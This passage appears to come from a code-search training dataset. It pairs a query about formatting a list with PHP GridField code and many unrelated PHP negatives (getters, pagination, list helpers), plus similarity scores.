$app->getUserStateFromRequest('Source.filter_order_Dir','filter_order_Dir','asc');\n\n //set states\n $this->state->set('Source.filter_order',$filter_order);\n $this->state->set('Source.filter_order_Dir',$filter_order_Dir);\n }", "function getThestate()\n\t{\n\t\t// Load the State data\n\t\tif ($this->_loadState())\n\n\t\treturn $this->_state;\n\t}", "public function getPageData() {\n return $this->pageData;\n }", "protected function populateState() \n\t{\n\t\t\n\t\t$app = JFactory::getApplication('com_einsatzkomponente');\n\t\t// Load state from the request userState on edit or from the passed variable on default\n if (JFactory::getApplication()->input->get('layout') == 'edit') {\n $id = JFactory::getApplication()->getUserState('com_einsatzkomponente.edit.einsatzbericht.id');\n\n } else {\n $id = JFactory::getApplication()->input->get('id');\n JFactory::getApplication()->setUserState('com_einsatzkomponente.edit.einsatzbericht.id', $id);\n }\n\t\t$this->setState('einsatzbericht.id', $id);\n\t\t// Load the parameters.\n\t\t$params = $app->getParams();\n $params_array = $params->toArray();\n if(isset($params_array['item_id'])){\n $this->setState('einsatzbericht.id', $params_array['item_id']);\n }\n\t\t$this->setState('params', $params);\n\t}", "public function state(){\n return $this->state;\n }", "public function getPageInfo(): PagingInfo\n {\n return new PagingInfo([\n self::PAGE => $this->page,\n self::PER_PAGE => $this->per_page,\n ]);\n }", "public function getState() {\n return $this->_state;\n }", "public function getState(){\n\t\treturn $this->state;\n\t}", "function getState()\n {\n // Read the state out of the session\n $state = $this->Session->read($this->sessionVariableName);\n // Got it okay?\n if (!$state) {\n // No state is session? Well, set it up then!\n $state = new CakeObject();\n $state->sortBy = $this->sortBy;\n $state->sortAsc = true;\n $state->pageSize = 20;\n $state->pageShown = 1;\n $state->searchValue = \"\";\n $state->searchBy = $this->searchBy;\n $this->Session->write($this->sessionVariableName, $state);\n }\n // Return the session or constructed state\n\n return $state;\n }", "public function getViewState()\n {\n if(is_null($this->_viewState) ){\n $this->_viewState = ViewState::createFromGlobals($this->getRequest(), $this->get('session'));\n }\n return $this->_viewState;\n }", "function setPaging($paging)\n\t{\n\t\tif(!empty($paging))\n\t\t{\t\n\t\t\t$this->link = $paging['link'];\n\t\t\t$this->show = $paging['show'];\n\t\t\t$this->page = $paging['page'];\n\t\t\t$this->style = $paging['style'];\n\t\t\t\n\t\t\t$pageCount = ceil($paging['count'] / $paging['limit'] );\n\t\t\t\t\n\t\t\t$this->_pageDetails = array(\n\t\t\t\t\t\t'page'=>$paging['page'],\n\t\t\t\t\t\t'recordCount'=>$paging['count'],\n\t\t\t\t\t\t'pageCount' =>$pageCount,\n\t\t\t\t\t\t'nextPage'=> ($paging['page'] < $pageCount) ? $paging['page']+1 : '',\n\t\t\t\t\t\t'previousPage'=> ($paging['page']>1) ? $paging['page']-1 : '',\n\t\t\t\t\t\t'limit'=>$paging['limit']\n\t\t\t\t\t\t);\n\t\t\t\t\t\t\n\t\t\treturn true;\t\t \n\t\t}\n\t\treturn false;\n\t}", "function getPageCount() { return $this->m_pageCount; }", "function prepare_items() {\n\t\t\n\t\t// Get how many records per page to show\n\t\t$per_page\t= $this->per_page;\n\t\t\n\t\t// Get All, Hidden, Sortable columns\n\t\t$columns\t= $this->get_columns();\n\t\t$hidden \t= array();\n\t\t$sortable \t= $this->get_sortable_columns();\n\t\t\n\t\t// Get final column header\n\t\t$this->_column_headers = array($columns, $hidden, $sortable);\n\t\t\n\t\t// Get Data of particular page\n\t\t$data_res \t= $this->bdpp_display_styles_list();\n\t\t$data \t\t= $data_res['data'];\n\t\t\n\t\t// Get current page number\n\t\t$current_page = $this->get_pagenum();\n\t\t\n\t\t// Get total count\n\t\t$total_items = $data_res['total'];\n\t\t\n\t\t// Get page items\n\t\t$this->items = $data;\n\t\t\n\t\t// Register pagination options and calculations.\n\t\t$this->set_pagination_args( array(\n\t\t\t\t\t\t\t\t\t\t\t'total_items' => $total_items, // Calculate the total number of items\n\t\t\t\t\t\t\t\t\t\t\t'per_page' => $per_page, // Determine how many items to show on a page\n\t\t\t\t\t\t\t\t\t\t\t'total_pages' => ceil($total_items / $per_page)\t// Calculate the total number of pages\n\t\t\t\t\t\t\t\t\t\t));\n\t}", "public function getPageData()\n {\n return $this->pageData;\n }", "function prepareForBuildPage() \n\t{\n\t\t// save recs\n\t\t//$this->save();\n\t\t// PRG rule, to avoid POSTDATA resend\n\t\t$this->rulePRG();\t\n\t\t//Sorting fields\n\t\t$this->buildOrderParams();\n\t\t// fill data\n\t\t$this->fillMembers();\n\t\t$this->fillGroups();\n\t\t// build sql query\n\t\t$this->buildSQL();\n\t\t// build pagination block\n\t\t$this->buildPagination();\n\t\t// seek page must be executed after build pagination\n\t\tif ($this->sortByGroup===false)\n\t\t\t$this->seekPageInRecSet($this->querySQL);\t\t\t\t\t\n\t\telse\n\t\t\t$this->recSet = db_query($this->querySQL, $this->conn);\n\t\t// fill grid data\n\t\t$this->fillGridData();\n\t\t// build search panel\n\t\t$this->buildSearchPanel(\"adv_search_panel\");\n\t\t// add common js code\n\t\t$this->addCommonJs();\n\t\t// add common html code\n\t\t$this->addCommonHtml();\n\t\t// Set common assign\n\t\t$this->commonAssign();\n\t\t// build admin block\t\t\n\t\t$this->assignAdmin();\t\n\t}", "public function state()\n {\n return $this->state;\n }", "protected function _stateTable()\n {\n return $this->_stateTable;\n }", "public function get_state() {\n\t\treturn $this->data['state'];\n\t}", "public function getState()\n {\n return $this->_state;\n }", "public function getState()\n {\n return $this->_state;\n }", "public function get_page_info()\n {\n }", "public function getState()\r\n {\r\n return $this->_state;\r\n }", "public function getState()\n {\n return $this->getParameter('state');\n }", "public function assign() {\r\n\t\t$this->current_page = parent::getCurrentPageNumber();\r\n\t\t$per_page = parent::getItemCountPerPage();\r\n\t\t\r\n\t\t// Busca o total de paginas\r\n\t\t$this->total_pages = (int)(parent::getTotalItemCount() / parent::getItemCountPerPage());\r\n\t\t$this->total_pages++;\r\n\t\t\r\n\t\t// Busca o total\r\n\t\t$this->total_items = parent::getTotalItemCount();\r\n\t\t\r\n\t\t// Verifica o total\r\n\t\tif($this->total_items % $per_page == 0) {\r\n\t\t\t$this->total_pages--;\r\n\t\t}\r\n\t\t\r\n\t\t// Busca a pagina anterior\r\n\t\t$this->previous_page = $this->current_page - 1;\r\n\t\tif($this->previous_page <= 0) {\r\n\t\t\t$this->previous_page = 1;\r\n\t\t}\r\n\t\t\r\n\t\t// Busca a proxima pagina \r\n\t\t$this->next_page = $this->current_page + 1;\r\n\t\tif($this->next_page > $this->total_pages) {\r\n\t\t\t$this->next_page = $this->total_pages;\r\n\t\t}\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "public function getState() {\n return $this->state;\n }", "protected function _populateState()\n\t{\n\t\t$app\t\t= &JFactory::getApplication('administrator');\n\t\t$params\t\t= &JComponentHelper::getParams('com_eve');\n\n\t\t// Load the User state.\n\t\tif (JRequest::getWord('layout') === 'edit') {\n\t\t\t$userID = (int) $app->getUserState('com_eve.edit.account.userID');\n\t\t\t$this->setState('account.userID', $userID);\n\t\t} else {\n\t\t\t$userID = (int) JRequest::getInt('userID');\n\t\t\t$this->setState('account.userID', $userID);\n\t\t}\n\n\t\t// Load the parameters.\n\t\t$this->setState('params', $params);\n\t}", "function Pagination() \n { \n $this->current_page = 1; \n $this->mid_range = 7; \n $this->items_per_page = (!empty($_GET['ipp'])) ? $_GET['ipp']:$this->default_ipp; \n }", "public function getPaginatedData()\n {\n return $this->paginatedData;\n }", "private function set_PageData() {\n\n\t\t\t// We have an existing page\n\t\t\t// should feed a wp_update_post not wp_insert_post\n\t\t\t//\n\t\t\tif ( $this->page_exists() ) {\n\t\t\t\t$this->pageData = array(\n\t\t\t\t\t'ID' => $this->linked_postid,\n\t\t\t\t\t'slp_notes' => 'pre-existing page',\n\t\t\t\t);\n\n\t\t\t\t// No page yet, default please.\n\t\t\t\t//\n\t\t\t} else {\n\t\t\t\t$this->pageData = array(\n\t\t\t\t\t'ID' => '',\n\t\t\t\t\t'post_type' => SLPlus::locationPostType,\n\t\t\t\t\t'post_status' => $this->pageDefaultStatus,\n\t\t\t\t\t'post_title' => ( empty( $this->store ) ? 'SLP Location #' . $this->id : $this->store ),\n\t\t\t\t\t'post_content' => '',\n\t\t\t\t\t'slp_notes' => 'new page',\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Apply our location page data filters.\n\t\t\t// This is what allows add-ons to tweak page data.\n\t\t\t//\n\t\t\t// FILTER: slp_location_page_attributes\n\t\t\t//\n\t\t\t$this->pageData = apply_filters( 'slp_location_page_attributes', $this->pageData );\n\n\t\t\treturn $this->pageData;\n\t\t}", "public function getPagerInput();", "public function getState()\r\n {\r\n return $this->state;\r\n }", "public function getState()\r\n {\r\n return $this->state;\r\n }", "public function getState()\n {\n return $this->properties;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }", "public function getState()\n {\n return $this->state;\n }" ]
[ "0.5753291", "0.5628381", "0.5590662", "0.5573338", "0.55024314", "0.5454081", "0.5454081", "0.54485095", "0.5442311", "0.5429907", "0.53848314", "0.53459805", "0.5323342", "0.5305942", "0.5299326", "0.5283591", "0.5276262", "0.5202212", "0.5187365", "0.51791644", "0.5174119", "0.5172354", "0.5170665", "0.51597863", "0.5122222", "0.5115853", "0.5115853", "0.51055616", "0.5056118", "0.5049113", "0.504657", "0.5039134", "0.5035343", "0.50312966", "0.5030541", "0.49981838", "0.49823445", "0.49800017", "0.49766025", "0.49712202", "0.4970905", "0.49532643", "0.49526373", "0.4951745", "0.49489725", "0.4945753", "0.49443808", "0.4941241", "0.49368507", "0.4932223", "0.4932223", "0.49266836", "0.49253583", "0.49140605", "0.49139076", "0.49078542", "0.49034566", "0.49026713", "0.4901987", "0.4888065", "0.48817354", "0.48757485", "0.48757485", "0.48751092", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608", "0.4861608" ]
0.5427809
10
Manipulate the list according to chosen format
public function getManipulatedData(GridField $gridField, SS_List $dataList) { $this->stockFormats($gridField); $state = $this->getFormatState($gridField); $lastState = (string)$state->last; $currentState = (string)$state->current; if(!$currentState && $lastState) { $currentState = $lastState; } foreach($gridField->Config->getComponents() as $component) { if($component instanceof Format) { $this->formats[$component->getFormatState()]->unformat($gridField); } } foreach($this->formats as $format) { if(is_array($format) && isset($format['unformat'])) { call_user_func($format['unformat'], $gridField); } } if($currentState && isset($this->formats[$currentState])) { $gridField->removeExtraClass('ss-gridfield_' . $this->unformatted['state']); if(is_array($this->formats[$currentState]) && isset($this->formats[$currentState]['format'])) { call_user_func($this->formats[$currentState]['format'], $gridField, ($currentState ?: $this->unformatted['state'])); } else if(is_callable($this->formats[$currentState])) { call_user_func($this->formats[$currentState], $gridField, ($currentState ?: $this->unformatted['state'])); } else { $this->formats[$currentState]->format($gridField); } } else { $gridField->addExtraClass('ss-gridfield_' . $this->unformatted['state']); } if($this->formatCallback) { call_user_func($this->formatCallback, $gridField, ($currentState ?: $this->unformatted['state'])); } $state->last = $currentState; return $dataList; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function decodeList($list);", "function process_type(&$list)\n{\n\tforeach ($list as $index => $row) {\n\t\tif ($row['climb_type'] == 'Lead')\n\t\t\t$list[$index]['climb_type'] = 'L';\n\t\telse\n\t\t\t$list[$index]['climb_type'] = '';\n\t}\n}", "public function getFilterList($list)\n {\n $psList = array();\n foreach ($list as $key => $value) {\n $lastElement = end($value);\n $psPosition = $this->getPhaseSetPosition($value['FORMAT']);\n $gtPosition = $this->getGenoTypePosition($value['FORMAT']);\n $psValue = $this->getPhaseSetPositionValue($lastElement,$psPosition);\n $gtValue = $this->checkForSlash($lastElement,$gtPosition);\n if($gtValue) {\n $validGt = $this->skipHomo($lastElement,$gtPosition);\n }\n if(is_numeric($psValue) && $gtValue && $validGt) {\n $headerArray = array_keys($value);\n $arrayKey = $headerArray[9]; \n $value[$arrayKey] = $psValue;\n array_push($psList,$value);\n }\n }\n return $psList;\n }", "function parseList($list){\n //replace , with a <br>\n echo str_replace(\".\",\"<br>\",$list);\n }", "function wp_parse_list($input_list)\n {\n }", "function formatListItem($array,$type,$i,$special='',$gilder='') {\n\t$itemArray = $array[$i];\n\t\n\tif(isset($itemArray['class']) && !is_array($itemArray['class'])) $itemArray['class'] = array($itemArray['class']);\n\t\n\tif($i==0) {\n\t\t$itemArray['class'][] = 'fli';\n\t}\n\tif($i==(count($array)-1)) {\n\t\t$itemArray['class'][] = 'lli';\n\t}\n\tif(!isEven($i)) $itemArray['class'][] = 'even';\n\t\n\t$extraneous_span = '';\n\tif((!empty($gilder) && $gilder==true) || (!empty($itemArray['gilder']) && $itemArray['gilder']==true)) {\n\t\t$extraneous_span = '<span class=\"gl-ir\"></span>';\n\t\t//$itemArray['class'][] = 'gl-ir';\n\t}\n\t\n\t$anchor_class = array();\n\tif(!empty($itemArray['anchor-class'])) {\n\t\tif(!is_array($itemArray['anchor-class'])) $itemArray['anchor-class'] = array($itemArray['anchor-class']);\n\t\t$anchor_class = array_merge($itemArray['anchor-class'],$anchor_class);\n\t}\n\tif($special=='hfeed') {\n\t\t// add class 'hentry' to the li\n\t\t// add class 'entry-title' to the anchor \n\t\t// add rel permalink to the anchor\n\t\t$anchor_class[] = 'entry-title';\n\t\t$itemArray['class'][] = 'hentry';\n\t\t\n\t\tif(empty($itemArray['rel'])) $itemArray['rel'] = array();\n\t\tif(!empty($itemArray['rel']) && !is_array($itemArray['rel'])) $itemArray['rel'] = array($itemArray['rel']);\n\t\tif(!in_array('permalink',$itemArray['rel'])) {\n\t\t\t$itemArray['rel'][] = 'permalink';\n\t\t}\n\t}\n\t\n\tif(strtolower($type)=='dt' && !empty($itemArray['class'])) {\n\t\tif(!is_array($itemArray['class'])) $itemArray['class'] = array($itemArray['class']);\n\t\tfor($i=0; $i<count($itemArray['class']); $i++) {\n\t\t\tif(strtolower($itemArray['class'][$i])=='role') {\n\t\t\t\t$itemArray['class'][] = 'vcard_'.$itemArray['class'][$i];\n\t\t\t\tunset($itemArray['class'][$i]);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t$text = $itemArray['text'];\n\tif(!preg_match('/<[^<^>]+>/',$text)) $text = formatText($text); // if the text DOESN'T contain HTML, format it.\n\t\n\t$sub = '';\n\tif(!empty($itemArray['sub']) && is_array($itemArray['sub'])) $sub = \"\\n\".createList($itemArray['sub'],'','sub');\n\t\n\tif(!empty($itemArray['link'])) {\n\t\t$list = '<'.$type.addAttributes('',@$itemArray['id'],@$itemArray['class']).'><a href=\"'.$itemArray['link'].'\"'.addAttributes(@$itemArray['title'],'',$anchor_class,@$itemArray['xfn'],@$itemArray['rel'],@$itemArray['accesskey'],@$itemArray['tabindex'],'','',@$itemArray['mime']).'>'.$extraneous_span.$text.'</a>'.$sub.'</'.$type.'>';\n\t}\n\telse {\n\t\t$list = '<'.$type.addAttributes(@$itemArray['title'],@$itemArray['id'],@$itemArray['class']).'>'.$extraneous_span.$text.$sub.'</'.$type.'>';\n\t}\n\t\n\treturn ' '.$list.\"\\n\";\n}", "protected function prepareTemplateToList($list)\n {\n return $list;\n }", "function restructure_sub($list, $more){\n $result = array();\n if($more){\n for($i = 0; $i < count($list); $i++){\n $result[$i]['id'] = $list[$i][0];\n $result[$i]['email'] = $list[$i][1];\n $result[$i]['date'] = $list[$i][2];\n }\n }else{\n $result['id'] = $list[0];\n $result['email'] = $list[1];\n $result['date'] = $list[2];\n }\n return $result;\n}", "protected function convertPriceList() {\n\t\t$retArray =array();\n\t\t\n\t\tforeach ($this->DetailPriceList as $name => $nameValue) {\n\t\t\t$description = '';\n\t\t\t$unit = '';\n\t\t\t$price = 0;\n\t\t\t$avgPrice = 0;\n\t\t\tif (is_array($nameValue)) {\n\t\t\t\tforeach ($nameValue as $desc => $prices) {\n\t\t\t\t\tif (is_array($prices)) {\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$price = $nameValue;\n\t\t\t\t$avgPrice = $price;\n\t\t\t}\n\t\t\t$retArray[] = array($name,$description, $unit,$price, $avgPrice );\n\t\t}\n\t}", "function generate_formats_list(){\n\t\t$todo = array();\n\t\t$used = array();\n//var_dump($this->todo_groups);\n\t\t//calculating formats\n\t\tforeach ($this->todo_groups as $group_name => $value) {\n\t\t\t$group_process_name = 'pa_' . $group_name . '_format';\n\t\t\t$pa_class_name = '\\gcalc\\pa\\\\' . 'pa_' . $group_name . '_format'; //format process class name\t\t\t\n\t\t\t\n\t\t\tif ( class_exists( $pa_class_name ) ) {\n\t\t\t\t$new_todo =\n\t\t\t\t\t\tnew $pa_class_name( $this->bvars, $this->product_id, $this, array( $group_name, $group_process_name ) );\t\t\t\n\t\t\t} else {\n\t\t\t\t$pa_class_name = '\\gcalc\\pa\\\\pa_format'; //format process class name\n\t\t\t\tif ( class_exists( $pa_class_name ) ) {\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$new_todo =\n\t\t\t\t\t\tnew $pa_class_name( $this->bvars, $this->product_id, $this, array( $group_name, $group_process_name ) );\t\t\t\t\n\t\t\t\t\t} \n\t\t\t}\n\t\t\t$todo[ $group_process_name ] = $new_todo;\n\t\t\tif ( !$new_todo->ok() ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t$done_process_total = $new_todo->do__();\n\n\t\tif ( $done_process_total instanceof \\gcalc\\error ) {\n\t\t\t$this->get_errors()->add( $done_process_total );\n\t\t\treturn false;\n\t\t}\n\n\t\t\tarray_push( $this->done, $done_process_total );\n\t\t\tarray_push( $used, $group_process_name );\n\t\t\t\n\t\t}\n\n\t\t$this->todo->set_plist( $todo );\t\t\t\t\n\t\treturn $todo;\n\t}", "private function _normalize($list) {\n // If an array wasn't submitted there's nothing to do...\n if (!is_array($list)) {\n return $list;\n }\n $ret = array();\n\n foreach ($list as $key => $val) {\n $val['location'] = isset($val['location']) ? $val['location'] : $key;\n $val['label'] = isset($val['label']) ? $val['label'] : $key;\n $val['class'] = isset($val['class']) ? ' '.$val['class'] : '';\n $val['id'] = isset($val['id']) ? \" id='{$val['id']}'\" : '';\n \n if (isset($val['parent_id'])) {\n if ( isset($ret[$val['parent_id']])) { \n // if parent doesn't exist, the children wont either\n $ret[$val['parent_id']]['children'][$key] = $val;\n }\n } else {\n $ret[$key] = $val;\n }\n }\n return $ret;\n }", "function process_date(&$list, $field, $add_age = false)\n{\n\t$today = strtotime('2018-09-14');\t// RAR was 'today'\n\tforeach ($list as $index => $row) {\n\t\t$d = $row[$field];\n\t\tif (empty ($d) || ($d == '0000-00-00'))\n\t\t\t$d = '';\n\t\telse\n\t\t\t$d = date ('j M y', strtotime ($d));\n\t\t$list[$index][$field] = $d;\n\n\t\tif ($add_age) {\n\t\t\tif (empty($d)) {\n\t\t\t\t$a = '';\n\t\t\t\t$m = '';\n\t\t\t} else {\n\t\t\t\t$a = floor (($today - strtotime($d)) / 86400);\n\t\t\t\t$m = sprintf ('%.1f', $a / 30.44);\n\t\t\t}\n\n\t\t\t$list[$index]['age'] = $a;\n\t\t\t$list[$index]['months'] = $m;\n\t\t}\n\t}\n\n}", "private function formatIpArray($list)\n {\n return array_map(function ($ip) {\n return ['ip_address' => $ip];\n }, $this->makeArrayOfIps($list));\n }", "function list_to_map($list, $by_field = 'id'){\r\n $result = array();\r\n if(!is_array($list)) return null;\r\n foreach($list as $item){\r\n $result[$item[$by_field]] = $item;\r\n }\r\n return $result;\r\n}", "private function convertContent(){\n $newContent = array();\n foreach ($this->content as $key => $value) {\n if (is_scalar($value)) {\n $newContent[$key] = $this->format($value);\n }\n }\n return $newContent;\n }", "function wp_parse_id_list($input_list)\n {\n }", "abstract protected function displayList($list);", "function Parsser($list) {\r\n $array = explode(\" \",$list);\r\n if ($array[0]==\"createCart\" )\r\n {\r\n // $currancy = $this -> setCurrancy($array);\r\n $itemList = $this-> setItemList($array);\r\n }\r\n return $array;\r\n }", "function cfdef_prepare_list_value_for_email( $p_value ) {\n\t# strip start and end markers before converting markers to commas\n\treturn str_replace( '|', ', ', utf8_substr( str_replace( '||', '|', '|' . $p_value . '|' ), 1, -1 ) );\n}", "public function transform(EstablishmentListInterface $list) : array;", "private function toHumanisedList($list)\n {\n // Length of list\n $listLength = count($list);\n\n if($listLength === 0) {\n return \"\";\n }\n\n if($listLength === 1) {\n return $list[0];\n }\n\n // Prepend last item with \" and \"\n $listLastElement = \" and \".$list[$listLength - 1];\n\n return implode(\", \", array_slice($list, 0, -1)) . $listLastElement;\n }", "public function formatList(ParamInterface $param, ConstraintViolationListInterface $violationList);", "public function merge_validater_value_list($list)\n {\n foreach ($list as $k => $v) {\n $this->_validater_value_arr[$k] = $v;\n }\n }", "function process_height_abbreviate (&$list)\n{\n\tforeach ($list as $key => $row) {\n\t\t$list[$key]['height'] = sprintf ('%1.1Fm', $row['height']);\n\t}\n}", "public function provideListAndListItemTests() {\n $result = [\n [[\n 'descr' => \"[list] and [*] should produce an unordered list.\",\n 'bbcode' => \"[list][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ul class=\\\"bbcode_list\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ul>\\n\",\n ]],\n [[\n 'descr' => \"[list] and [*] should produce an unordered list even without [/list].\",\n 'bbcode' => \"[list][*]One Box[*]Two Boxes[*]Three Boxes\",\n 'html' => \"\\n<ul class=\\\"bbcode_list\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ul>\\n\",\n ]],\n [[\n 'descr' => \"[list=circle] should produce an unordered list.\",\n 'bbcode' => \"[list=circle][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ul class=\\\"bbcode_list\\\" style=\\\"list-style-type:circle\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ul>\\n\",\n ]],\n [[\n 'descr' => \"[list=disc] should produce an unordered list.\",\n 'bbcode' => \"[list=disc][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ul class=\\\"bbcode_list\\\" style=\\\"list-style-type:disc\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ul>\\n\",\n ]],\n [[\n 'descr' => \"[list=square] should produce an unordered list.\",\n 'bbcode' => \"[list=square][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ul class=\\\"bbcode_list\\\" style=\\\"list-style-type:square\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ul>\\n\",\n ]],\n [[\n 'descr' => \"[list=1] should produce an ordered list.\",\n 'bbcode' => \"[list=1][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n [[\n 'descr' => \"[list=A] should produce an ordered list.\",\n 'bbcode' => \"[list=A][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\" style=\\\"list-style-type:upper-alpha\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n [[\n 'descr' => \"[list=a] should produce an ordered list.\",\n 'bbcode' => \"[list=a][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\" style=\\\"list-style-type:lower-alpha\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n [[\n 'descr' => \"[list=I] should produce an ordered list.\",\n 'bbcode' => \"[list=I][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\" style=\\\"list-style-type:upper-roman\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n [[\n 'descr' => \"[list=i] should produce an ordered list.\",\n 'bbcode' => \"[list=i][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\" style=\\\"list-style-type:lower-roman\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n [[\n 'descr' => \"[list=greek] should produce an ordered list.\",\n 'bbcode' => \"[list=greek][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\" style=\\\"list-style-type:lower-greek\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n [[\n 'descr' => \"[list=georgian] should produce an ordered list.\",\n 'bbcode' => \"[list=georgian][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\" style=\\\"list-style-type:georgian\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n [[\n 'descr' => \"[list=armenian] should produce an ordered list.\",\n 'bbcode' => \"[list=armenian][*]One Box[*]Two Boxes[*]Three Boxes[/list]\",\n 'html' => \"\\n<ol class=\\\"bbcode_list\\\" style=\\\"list-style-type:armenian\\\">\\n<li>One Box</li>\\n<li>Two Boxes</li>\\n<li>Three Boxes</li>\\n</ol>\\n\",\n ]],\n ];\n return $result;\n }", "public function convertArray(array $list){\n $o = $this->getHeader();\n if (count($list) > 0){\n foreach($list as $key => $value){\n \t$o .= \"<entry>\\n\";\n \t$o .= \"\\t<form>\\n\";\n\t$o .= \"\\t\\t<orth>\\n\";\n\t$infinitive = $value['infinitive'][0];\n\t$o .= \"\\t\\t\\t$infinitive\\n\";\n\t$o .= \"\\t\\t</orth>\\n\";\n\t$o .= \"\\t\\t<model>\\n\";\n\t$model = $value['model'];\n\t$o .= \"\\t\\t\\t$model\\n\";\n\t$o .= \"\\t\\t</model>\\n\";\n $o .= $this->convertConjugation($value);\n\t$o .= \"\\t</form>\\n\";\n \t$o .= \"</entry>\\n\";\n } // for\n } // if\n\n $o .= $this->getFooter();\n $this->createDownloadFile($o);\t \n }", "protected function applySorting()\n\t{\n\t\t$i = 1;\n\t\tparse_str($this->order, $list);\n\t\tforeach ($list as $field => $dir) {\n\t\t\t$this->dataSource->sort($field, $dir === 'a' ? IDataSource::ASCENDING : IDataSource::DESCENDING);\n\t\t\t$list[$field] = array($dir, $i++);\n\t\t}\n\t\treturn $list;\n\t}", "public function adicionarRepetidos($list){\n\n /*echo('<pre>');\n var_dump($list);\n echo('</pre>');*/\n\n for($i = 0; $i < count($list); $i++){\n for($j = $i+1; $j < count($list); $j++){\n if($list[$i][0] -> getIngrediente() == $list[$j][0] -> getIngrediente()){\n $list[$i][1] += $list[$j][1];\n array_splice($list, $j,1);\n }\n }\n }\n return $list;\n }", "private function _encodeList($list)\n\t{\n\t\t$this->_writeValue('[');\n\n\t\tforeach ($list as $x => $value) {\n\t\t\t$this->encode($value);\n\n\t\t\tif ($x < count($list) - 1) {\n\t\t\t\t$this->_writeValue(',');\n\t\t\t}\n\t\t}\n\n\t\t$this->_writeValue(']');\n\t}", "public function remapListedDBRecords() {}", "public function add_list_to_table($list){\n\t\t$query = \"SELECT $this->column_name FROM \" . $this->table;\n\t\t$list = commas_to_array($list);\n\t\t$just_added = array();\n\t\tif($old_list = Database::get_results_as_numerical_array($query, $this->column_name)){\n\t\t\t//var_dump($old_list); echo \"<br>\";\n\t\t\t\n\t\t\tforeach($list as $list_item){\n\t\t\t\t\n\t\t\t\tif(!in_array($list_item, $old_list) &&\n\t\t\t\t !in_array($list_item, 